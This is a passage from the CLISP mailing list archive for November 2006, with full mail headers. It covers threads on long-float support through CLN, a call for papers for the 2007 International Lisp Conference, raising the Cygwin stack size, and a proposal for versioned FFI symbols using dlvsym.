little interest? It is too much work for too few users. Also, many CL users want portability, therefore they would refrain from relying on a feature that they don't have in, say, SBCL. The right approach for using CLN from CL would IMO be through an FFI/UFFI/CFFI/... interface. Then the numbers would not appear as _the_ built-in numbers of the CL implementation, but it would be usable by CA systems like Axiom or Maxima in a portable way. Bruno From sds@gnu.org Fri Nov 17 06:56:57 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gl59F-0008S4-Mz for clisp-list@lists.sourceforge.net; Fri, 17 Nov 2006 06:56:57 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gl59E-0007Sr-AB for clisp-list@lists.sourceforge.net; Fri, 17 Nov 2006 06:56:57 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id ADAFC50009A; Fri, 17 Nov 2006 09:56:47 -0500 Message-ID: <455DCDAE.5030507@gnu.org> Date: Fri, 17 Nov 2006 09:56:46 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Bruno Haible , clisp-list@lists.sourceforge.net References: <200611171538.27152.bruno@clisp.org> In-Reply-To: <200611171538.27152.bruno@clisp.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] very long floats X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Nov 2006 14:56:58 -0000 Bruno Haible wrote: >> 2. Are there any plans of incorporating improved longfloats (e.g. CLN) into >> CLISP? Or is this too much work for too little interest? > > It is too much work for too few users. IOW, PTC. > Also, many CL users want portability, > therefore they would refrain from relying on a feature that they don't have > in, say, SBCL. this argument is absurd. if it were true, people would not use CLISP variable-length floats because they are not available in SBCL and threads in SBCL because they are not available in CLISP. S. From bruno@clisp.org Fri Nov 17 12:03:38 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gl9w1-000875-QS for clisp-list@lists.sourceforge.net; Fri, 17 Nov 2006 12:03:37 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Gl9w0-0003So-0t for clisp-list@lists.sourceforge.net; Fri, 17 Nov 2006 12:03:37 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id kAHK3J0g028532 for ; Fri, 17 Nov 2006 21:03:19 +0100 Received: from marbore.ilog.biz (marbore.ilog.biz [172.17.2.61]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id kAHK3EDV003539 for ; Fri, 17 Nov 2006 21:03:14 +0100 Received: from honolulu.ilog.fr ([172.16.15.33]) by marbore.ilog.biz with Microsoft SMTPSVC(6.0.3790.1830); Fri, 17 Nov 2006 21:03:27 +0100 Received: by honolulu.ilog.fr (Postfix, from userid 1001) id BB1FE3F420; Fri, 17 Nov 2006 21:00:15 +0100 (CET) From: Bruno Haible To: clisp-list@lists.sourceforge.net Date: Fri, 17 Nov 2006 21:00:15 +0100 User-Agent: KMail/1.9.1 References: <200611171538.27152.bruno@clisp.org> <455DCDAE.5030507@gnu.org> In-Reply-To: <455DCDAE.5030507@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200611172100.15608.bruno@clisp.org> X-OriginalArrivalTime: 17 Nov 2006 20:03:27.0685 (UTC) FILETIME=[723B9750:01C70A83] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] very long floats X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Nov 2006 20:03:38 -0000 Sam wrote: > >> 2. Are there any plans of incorporating improved longfloats (e.g. CLN) into > >> CLISP? Or is this too much work for too little interest? > > > > It is too much work for too few users. > > IOW, PTC. What does "PTC" mean? I was trying to say that there are only ~100 people in the world who are seriously interested in multimullion digit computations, and less than a handful of them are using Common Lisp and have big problems using C++ instead. Porting CLN's multiplication routine back to clisp is probably 2 weeks of work, porting the transcendental functions routines is probably 2-3 months of work (full-time). Bruno From neuss@ma-patru.mathematik.uni-karlsruhe.de Sat Nov 18 03:32:25 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GlOQr-0004qa-4z for clisp-list@lists.sourceforge.net; Sat, 18 Nov 2006 03:32:25 -0800 Received: from smtp1.rz.uni-karlsruhe.de ([129.13.185.217] ident=Debian-exim) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GlOQq-0004dt-JA for clisp-list@lists.sourceforge.net; Sat, 18 Nov 2006 03:32:24 -0800 Received: from ma-patru.mathematik.uni-karlsruhe.de (ma-patru.mathematik.uni-karlsruhe.de [172.22.2.67]) by smtp1.rz.uni-karlsruhe.de with esmtp (Exim 4.50 #1) id 1GlOQl-000439-3R; Sat, 18 Nov 2006 12:32:19 +0100 Received: from neuss by ma-patru.mathematik.uni-karlsruhe.de with local (Exim 4.63) (envelope-from ) id 1GlOSH-00048t-Js for clisp-list@lists.sourceforge.net; Sat, 18 Nov 2006 12:33:53 +0100 Sender: neuss@ma-patru.mathematik.uni-karlsruhe.de To: clisp-list@lists.sourceforge.net References: <200611171538.27152.bruno@clisp.org> <455DCDAE.5030507@gnu.org> <200611172100.15608.bruno@clisp.org> From: Nicolas Neuss Organization: IPM Date: 18 Nov 2006 12:33:53 +0100 In-Reply-To: <200611172100.15608.bruno@clisp.org> Message-ID: <87irhd9efy.fsf@ma-patru.mathematik.uni-karlsruhe.de> Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] very long floats X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 18 Nov 2006 11:32:25 -0000 First, I want to thank you for your detailed explanation in your other post. Bruno Haible writes: > Sam wrote: > > >> 2. Are there any plans of incorporating improved longfloats (e.g. CLN) into > > >> CLISP? Or is this too much work for too little interest? > > > > > > It is too much work for too few users. > > > > IOW, PTC. > > What does "PTC" mean? I have found "patches thoughtfully considered", which was probably directed at myself:-) > I was trying to say that there are only ~100 people in the world who are > seriously interested in multimullion digit computations, and less than a > handful of them are using Common Lisp and have big problems using C++ > instead. That's, of course, also the problem in my case - I am not really needing this stuff (who needs pi with millions of digits?). It would have been nice, if I could have done such calculations with CLISP for a seminar on pi calculations, but this can hardly be considered as a serious purpose. > Porting CLN's multiplication routine back to clisp is probably 2 weeks of > work, porting the transcendental functions routines is probably 2-3 > months of work (full-time). I agree with your previous post: it would probably be more useful to have a lesser interface to CLN which works for most Lisps. On the other hand, the integration in CLISP is a proof of concept that long floats fit already well in the ANSI CL standard (do we see CLISP's influence here?). Maybe it would be an interesting research topic to define an interface within Lisp/Scheme implementations which provides portably a well-integrated numeric tower using libraries like CLN? Nicolas From pc@p-cos.net Sun Nov 19 09:32:29 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GlqWq-0004QR-Ts for clisp-list@lists.sourceforge.net; Sun, 19 Nov 2006 09:32:28 -0800 Received: from smtp.vub.ac.be ([134.184.129.10] helo=dorado.vub.ac.be) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GlqWq-0004Ad-7C for clisp-list@lists.sourceforge.net; Sun, 19 Nov 2006 09:32:28 -0800 Received: from prog2.vub.ac.be (prog2.vub.ac.be [134.184.43.10]) by dorado.vub.ac.be (Postfix) with ESMTP id 5F1C52F5 for ; Sun, 19 Nov 2006 18:32:22 +0100 (CET) Received: from [192.168.2.3] (16.21-64-87.adsl-dyn.isp.belgacom.be [87.64.21.16]) by prog2.vub.ac.be (Postfix) with ESMTP id 37E8057EBBC for ; Sun, 19 Nov 2006 18:32:22 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v752.2) Content-Transfer-Encoding: 7bit Message-Id: <6E406BED-0CDF-4309-BA85-EE6BF8FABA63@p-cos.net> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Pascal Costanza Date: Sun, 19 Nov 2006 18:32:20 +0100 X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] [CfP] International Lisp Conference '07 (news) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 19 Nov 2006 17:32:29 -0000 +--------------------------------------------------------------------+ | | | INTERNATIONAL LISP CONFERENCE 2007 | | | | http://www.international-lisp-conference.org | | | | Clare College, Cambridge, England - April 1-4, 2007 | | | +--------------------------------------------------------------------+ Sponsored by: The Association of Lisp Users Important news: + Registration for the conference is now open. Take advantage of early registration discounts by registering early. There are also discounts for ACM and ALU members. http://www.international-lisp-conference.org/2007/registration + Mailing lists for prospective participants have been set up. http://www.international-lisp-conference.org/2007/mailing-lists + We have applied for ACM SIGPLAN In-cooperation status and expect to be able to publish the proceedings for ILC'07 in the ACM Digital Library. + We are delighted that the following have accepted invitations to speak at the conference: Richard Jones (University of Kent) John Mallery (MIT CSAIL) Ralf Moeller (Hamburg University of Technology) Christian Queinnec (Univ. Pierre & Marie Curie) Manuel Serrano (INRIA Sophia Antipolis) Michael Sperber (University of Tuebingen) Herbert Stoyan (University of Erlangen) We will announce a few more invited speakers soon. http://www.international-lisp-conference.org/2007/speakers + The program committee has been formed. http://www.international-lisp-conference.org/2007/committee General Information: The Association of Lisp Users is pleased to announce the 2007 International Lisp Conference will be held in Cambridge, England at Clare College from April 1st to 4th, 2007. We encourage submissions in diverse areas, including but not limited to: language design and implementation, software engineering, mathematical and scientific computing, artificial intelligence, data mining, business intelligence, bioinformatics, telecommunications and networking, the semantic web, music, and entertainment technologies. Alongside our usual four day program of tutorials and prominent invited speakers, and excellent technical sessions, this year there will also be workshops and demonstrations sessions. The official language of the conference is English. Further details are available at the conference web site. Technical Program: Original submissions in all areas related to the conference themes are invited for the following categories. Papers: Technical papers of up to 15 pages that describe original results, and/or extended abstracts of 4 pages with full papers sent soon after. Demonstrations: Abstracts of up to 2 pages for demonstrations of tools, libraries and applications. Workshops: Abstracts of up to 2 pages for groups of people who intend to work on a focussed topic for half a day. Tutorials: Abstracts of up to 2 pages for indepth presentations about topics of special interest for 90 - 180 minutes. Panel discussions: Abstracts of up to 2 pages for discussions about current themes. Panel discussion proposals must mention panel member who are willing to partake in a discussion. Conference Registration: Conference registration is now open. Simply visit http://international-lisp-conference.org/2007/registration The advance registration deadline is March 11th. but if you register before December 31st we'll give you another 20% off the advance registration price. Registration includes: access to all events, morning and afternoon teas / coffees, self-service lunch, banquet (Tuesday April 3rd), proceedings and hopefully a conference t-shirt. Accomodation is available in Clare College's "Memorial Court". http://international-lisp-conference.org/2007/venue#accomodation Credit cards and PayPal are accepted, as are cheques (sterling or US dollars) and international bank transfers. Important Dates: Please send contributions before the submission deadline to the program committe (ilc07-program-committee at alu.org). Deadline for abstract submissions: December 15, 2006 Notification of acceptance or rejection: February 5, 2007 Deadline for final paper submissions: March 2, 2007 Advance registration deadline: March 11, 2007 Advance advance registration deadline: December 31, 2006 Organizing Committee: Co-Chairs: Carl Shapiro (SRI International) Pascal Costanza (Vrije Universiteit Brussel) Members: Rusty Johnson (ALU) Peter Lindahl (ALU) Program Chair: JonL White (The Ginger Ice Cream Factory / ALU) Contact: ilc07-program-committee at alu.org Local chair: Nick Levine (Ravenbrook / ALU) General correspondence: ilc07-organizing-committee at alu.org Program Committee: Jeff Dalton (University of Edinburgh) Rainer Joswig (Valtech) Hsiao Kuroda (Mathematical Systems Inc.) Nick Levine (Ravenbrook) Henry Lieberman (MIT Media Lab) Joe Marshall (Google Inc.) Scott McKay (ITA Software) Wolfgang De Meuter (Vrije Universiteit Brussel) Julian Padget (University of Bath) Jeff Shrager (Stanford University and Xerox PARC) Mark Stickel (SRI International) Mailing Lists: General conference announcements are made on a very occasional basis to the low-volume mailing list ilc07-announce. http://www.alu.org/mailman/listinfo/ilc07-announce If you're thinking of participating in ILC 2007, you should either join this list or take an occasional look at the archives. http://www.alu.org/pipermail/ilc07-announce From arundelo@hotmail.com Mon Nov 20 13:14:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GmGTi-00061s-L5 for clisp-list@lists.sourceforge.net; Mon, 20 Nov 2006 13:14:58 -0800 Received: from bay0-omc2-s37.bay0.hotmail.com ([65.54.246.173]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GmGTi-0007U0-9q for clisp-list@lists.sourceforge.net; Mon, 20 Nov 2006 13:14:58 -0800 Received: from hotmail.com ([64.4.26.89]) by bay0-omc2-s37.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 20 Nov 2006 13:14:53 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 20 Nov 2006 13:14:51 -0800 Message-ID: Received: from 209.104.141.129 by BAY112-DAV17.phx.gbl with DAV; Mon, 20 Nov 2006 21:14:48 +0000 X-Originating-IP: [209.104.141.129] X-Originating-Email: [arundelo@hotmail.com] X-Sender: arundelo@hotmail.com From: "Aaron Brown" To: "CLISP list" Date: Mon, 20 Nov 2006 16:14:46 -0500 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2869 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2962 X-OriginalArrivalTime: 20 Nov 2006 21:14:51.0083 (UTC) FILETIME=[EA9381B0:01C70CE8] X-Spam-Score: 4.1 (++++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 RCVD_IN_NJABL_PROXY RBL: NJABL: sender is an open proxy [209.104.141.129 listed in combined.njabl.org] 0.0 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 3.0 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook X-Mailman-Approved-At: Tue, 28 Nov 2006 09:39:00 -0800 Subject: [clisp-list] Cygwin: default program stack size too low X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 20 Nov 2006 21:14:58 -0000 This question has Cygwin-related aspects, but I figured I'd ask here first. While I was building on Cygwin, ./configure gave me the following message: > # The default stack size on your platform is insufficient > # and must be increased to at least 8192. You must do either > # 'ulimit -s 8192' (for Bourne shell derivatives, e.g., bash and zsh) or > # 'limit stacksize 8192' (for C shell derivarives, e.g., tcsh) But ulimit just gives me an error ("stack size: cannot modify limit: Invalid argument"). A little googling turned up this message: http://www.cygwin.com/ml/cygwin/2003-03/msg01394.html > [...] The system call to which the ulimit shell built-in > delegates its work is not implemented in Cygwin. > > I believe link-time is the only way to override the > default stack allotment is during compilation (or linking, > as the case may be): E.g. (from a message by Gerrit P. > Haase, subject "Re: increase stacksize" sent Wed, 17 Jul > 2002 15:54:42 +0200): > > gcc -Wl,--stack,8388608 -o your.exe your.source.c In an attempt to apply this knowledge I added --stack,8388608 to $CLFLAGS in src/Makefile. This made make tell me: > cc1: error: unrecognized option `-fstack,8388608' so I undid my change and compiled with the existing stack size (2043k as reported by ulimit). How important is this? Is it a hard limit, in the sense that certain things will break under my current stack size, or is it just a matter of things running more or less quickly? If it is a hard limit, is there a way for me to increase the stack size? Thanks, -- Aaron http://www.amazon.com/gp/product/0470069171/ From rurban@x-ray.at Tue Nov 28 14:22:38 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GpBLa-0007nU-Ns for clisp-list@lists.sourceforge.net; Tue, 28 Nov 2006 14:22:38 -0800 Received: from lb01nat17.inode.at ([62.99.145.17] helo=mx.inode.at) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GpBLY-0004xo-PQ for clisp-list@lists.sourceforge.net; Tue, 28 Nov 2006 14:22:38 -0800 Received: from [62.99.252.218] (port=4107 helo=[192.168.1.10]) by smartmx-15.inode.at with esmtps (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32) (Exim 4.50) id 1GpBLP-0001Ui-TN; Tue, 28 Nov 2006 23:22:28 +0100 Message-ID: <456CB68E.4060508@x-ray.at> Date: Tue, 28 Nov 2006 23:22:06 +0100 From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.0.8) Gecko/20061030 SeaMonkey/1.0.6 MIME-Version: 1.0 To: Aaron Brown References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: CLISP list Subject: Re: [clisp-list] Cygwin: default program stack size too low X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 28 Nov 2006 22:22:38 -0000 Aaron Brown schrieb: > This question has Cygwin-related aspects, but I figured I'd > ask here first. While I was building on Cygwin, ./configure > gave me the following message: > >> # The default stack size on your platform is insufficient >> # and must be increased to at least 8192. You must do either >> # 'ulimit -s 8192' (for Bourne shell derivatives, e.g., bash and zsh) or >> # 'limit stacksize 8192' (for C shell derivarives, e.g., tcsh) > But ulimit just gives me an error ("stack size: cannot > modify limit: Invalid argument"). hmm. > A little googling turned up this message: > > http://www.cygwin.com/ml/cygwin/2003-03/msg01394.html > >> [...] The system call to which the ulimit shell built-in >> delegates its work is not implemented in Cygwin. >> >> I believe link-time is the only way to override the >> default stack allotment is during compilation (or linking, >> as the case may be): E.g. (from a message by Gerrit P. >> Haase, subject "Re: increase stacksize" sent Wed, 17 Jul >> 2002 15:54:42 +0200): You can also change the stack size in the exe afterwards by using some COFF capable binutil, like EDITBIN from MSVC or maybe some perl script. EDITBIN /STACK:8192000 clisp.exe http://msdn2.microsoft.com/en-us/library/35yc2tc3.aspx The similar gnu tool objcopy cannot do that. >> gcc -Wl,--stack,8388608 -o your.exe your.source.c > > In an attempt to apply this knowledge I added > --stack,8388608 to $CLFLAGS in src/Makefile. This made make > tell me: > >> cc1: error: unrecognized option `-fstack,8388608' man ld --stack reserve,commit Specify the amount of memory to reserve (and optionally commit) to be used as stack for this program. The default is 2Mb reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker] > so I undid my change and compiled with the existing stack > size (2043k as reported by ulimit). > How important is this? Is it a hard limit, in the sense > that certain things will break under my current stack size, > or is it just a matter of things running more or less > quickly? If it is a hard limit, is there a way for me to > increase the stack size? Well, your recursion depth is limited. I'll try to use the new LDFLAGS --stack 8192000 setting on the next release. With libsvm included. -- Reini Urban http://phpwiki.org/ http://murbreak.at/ http://helsinki.at/ http://spacemovie.mur.at/ From kkylheku@gmail.com Wed Nov 29 00:09:46 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GpKVm-00056v-GP for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 00:09:46 -0800 Received: from wx-out-0506.google.com ([66.249.82.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GpKVl-00019D-5P for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 00:09:46 -0800 Received: by wx-out-0506.google.com with SMTP id i30so3202626wxd for ; Wed, 29 Nov 2006 00:09:44 -0800 (PST) Received: by 10.100.106.5 with SMTP id e5mr181423anc.1164787784509; Wed, 29 Nov 2006 00:09:44 -0800 (PST) Received: by 10.100.45.20 with HTTP; Wed, 29 Nov 2006 00:09:44 -0800 (PST) Message-ID: <3f43f78b0611290009q3cbc0f1fh7e2c9a4c52534720@mail.gmail.com> Date: Wed, 29 Nov 2006 00:09:44 -0800 From: "Kaz Kylheku" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] FFI feature proposal: versioned symbols. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 29 Nov 2006 08:09:46 -0000 In glibc, there is a dlvsym() function for retrieving versioned symbols. This is very useful if you are writing an application, targetting the ABI of a shared library, to ensure that old versions your program will use the right ABI even in new versions of that library (as long as they don't drop support for that ABI). Concrete example. RIght now, I'm using the CLISP FFI to call "__xstat64" in "libc.so.6". But "__xstat64" refers to the latest and greatest ABI for that symbol which a given installation of "libc.so.6" exports. That latest and greatest function could, for instance, think that the struct stat object I'm giving it is bigger than it really is, and write beyond its end. What I want is to access the "GLIBC_2.2" version of that symbol. This might appear in the "nm" listing of the library as "__xstat64@@GLIBC_2.2". You can't get to this symbol with the dlsym API. And the @@ will change to @ anyway if GLIBC_2.2 is no longer the default version for that symbol. The way you ask for this symbol is dlvsym(handle, "__xstat64", "GLIBC_2.2"). And so, what if there was a (:SYMVER ...) option in the CLISP FFI whereby you could specify the version, thereby causing it to use dlvsym? (Rationale for the name: derived from the .symver GNU assembler directive for defining versioned symbols). (def-call-out __xstat64 (:library "libc.so.6") (:symver "GLIBC_2.2") ... etc) Now you can be quite confident that even though you tested the code with, say, glibc-2.3.4, it will still run if you upgrade to glibc 2.5. That is to say, run as well as any of the compiled C programs linked to the library. Comments? From sds@gnu.org Wed Nov 29 06:20:35 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GpQIc-0000UP-Mw for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 06:20:35 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GpQIa-0003Sv-GL for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 06:20:34 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A72406CC; Wed, 29 Nov 2006 09:20:20 -0500 Message-ID: <456D971A.9000600@gnu.org> Date: Wed, 29 Nov 2006 09:20:10 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Kaz Kylheku , clisp-list@lists.sourceforge.net References: <3f43f78b0611290009q3cbc0f1fh7e2c9a4c52534720@mail.gmail.com> In-Reply-To: <3f43f78b0611290009q3cbc0f1fh7e2c9a4c52534720@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] FFI feature proposal: versioned symbols. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 29 Nov 2006 14:20:35 -0000 Kaz Kylheku wrote: > In glibc, there is a dlvsym() function for retrieving versioned symbols. how about other libc implementations? woe32? > (def-call-out __xstat64 > (:library "libc.so.6") > (:symver "GLIBC_2.2") > ... etc) I would prefer (:library "libc.so.6" "GLIBC_2.2") this way we will not have to check that :library is given for each :symver and also this will give a good symver default via default-library. the only problem I see here is that we were thinking about switching to libltdl - does it support this versioning? Sam. From bruno@clisp.org Wed Nov 29 07:15:39 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GpR9u-0006CR-Ou for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 07:15:39 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GpR9r-0002fG-Hm for clisp-list@lists.sourceforge.net; Wed, 29 Nov 2006 07:15:38 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id kATFFG8u032284; Wed, 29 Nov 2006 16:15:16 +0100 Received: from marbore.ilog.biz (marbore.ilog.biz [172.17.2.61]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id kATFFAD9020305; Wed, 29 Nov 2006 16:15:11 +0100 Received: from honolulu.ilog.fr ([172.16.15.26]) by marbore.ilog.biz with Microsoft SMTPSVC(6.0.3790.1830); Wed, 29 Nov 2006 16:15:36 +0100 Received: by honolulu.ilog.fr (Postfix, from userid 1001) id F10963F420; Wed, 29 Nov 2006 16:11:53 +0100 (CET) From: Bruno Haible To: clisp-list@lists.sourceforge.net Date: Wed, 29 Nov 2006 16:11:53 +0100 User-Agent: KMail/1.9.1 References: <3f43f78b0611290009q3cbc0f1fh7e2c9a4c52534720@mail.gmail.com> <456D971A.9000600@gnu.org> In-Reply-To: <456D971A.9000600@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200611291611.53789.bruno@clisp.org> X-OriginalArrivalTime: 29 Nov 2006 15:15:36.0798 (UTC) FILETIME=[38F05FE0:01C713C9] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Kaz Kylheku Subject: Re: [clisp-list] FFI feature proposal: versioned symbols. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 29 Nov 2006 15:15:39 -0000 Kaz Kylheku wrote: > This is very useful if you are writing an application, targetting the > ABI of a shared library, to ensure that old versions your program will > use the right ABI even in new versions of that library (as long as > they don't drop support for that ABI). > > Concrete example. RIght now, I'm using the CLISP FFI to call > "__xstat64" in "libc.so.6". But "__xstat64" refers to the latest and > greatest ABI for that symbol which a given installation of "libc.so.6" > exports. That latest and greatest function could, for instance, think > that the struct stat object I'm giving it is bigger than it really is, > and write beyond its end. Yup, this is a problem, because we have hardcoded in modules/bindings/glibc/linux.lisp definitions like this: (def-c-struct stat (st_dev dev_t) (__pad1 ushort) (st_ino ino_t) (st_mode mode_t) (st_nlink nlink_t) (st_uid uid_t) (st_gid gid_t) (st_rdev dev_t) (__pad2 ushort) (st_size off_t) (st_blksize ulong) (st_blocks ulong) (st_atime time_t) (__unused1 ulong) (st_mtime time_t) (__unused2 ulong) (st_ctime time_t) (__unused3 ulong) (__unused4 ulong) (__unused5 ulong) ) That is, we have extracted the 'struct stat' of a particular glibc version and therefore 